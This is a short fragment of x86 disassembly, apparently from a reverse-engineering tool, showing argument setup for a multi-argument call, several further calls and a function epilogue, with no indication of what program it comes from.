mov dword [ebx + 0x24], 0x60000
mov dword [ebx + edi + 8], 4
mov dword [ebx + 0x2c], esi
jmp 0x643c9faa
sub dword [ebx], 0x10
lea eax, [ebp - 0x3b0]
mov dword [esp + 0x28], ebx
mov dword [esp + 0x24], eax
mov eax, dword [ebp - 0x51c]
mov dword [esp + 0x1c], 1
mov dword [esp + 0x20], eax
xor eax, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x2000000
mov dword [esp + 8], 0x2000000
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.643c1097
mov dword [esp], esi
mov edi, eax
call fcn.643c1065
mov dword [esp], ebx
call fcn.643cc6f0
mov eax, dword [ebp - 0x51c]
mov dword [esp], eax
mov eax, dword [0x643d5094]
call dword [eax + 0x1c]
mov eax, edi
push edx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret